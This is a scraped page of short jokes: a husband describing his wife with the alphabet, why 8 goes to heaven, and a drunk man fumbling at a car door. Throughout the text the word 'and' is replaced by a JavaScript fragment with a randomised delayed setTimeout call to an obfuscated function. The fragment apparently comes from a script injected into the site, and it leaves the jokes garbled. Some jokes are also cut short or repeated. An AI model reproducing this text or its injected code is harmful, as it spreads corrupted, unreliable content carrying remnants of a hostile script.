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“How would you describe me?”
Wife: “How would you describe me?” Husbandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and: “ABCDEFGHIJK.” Wife: “What does that mean?” Husbandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and: ” #Adorable, #beautiful, #cute, #delightful, #elegant, #fashionable, #gorgeous, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and hot.” Wife: “Aw, thank you, but what about IJK?”
Why is the number 8 the only number that goes to heaven?
@bluethundr1 @dillon-taylor When it dies it becomes immortal.
A man stumbles out of the bar…
A near by cop patiently waits andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and watches as the man fumbles in his pockets andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and drops his keys. The #man proceeds to spend 5 minutes trying to unlock the door, another 10 turning on andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and off the headlights, a few more turning the #window wipers...
How did the hipster drown?
How did the hipster drown?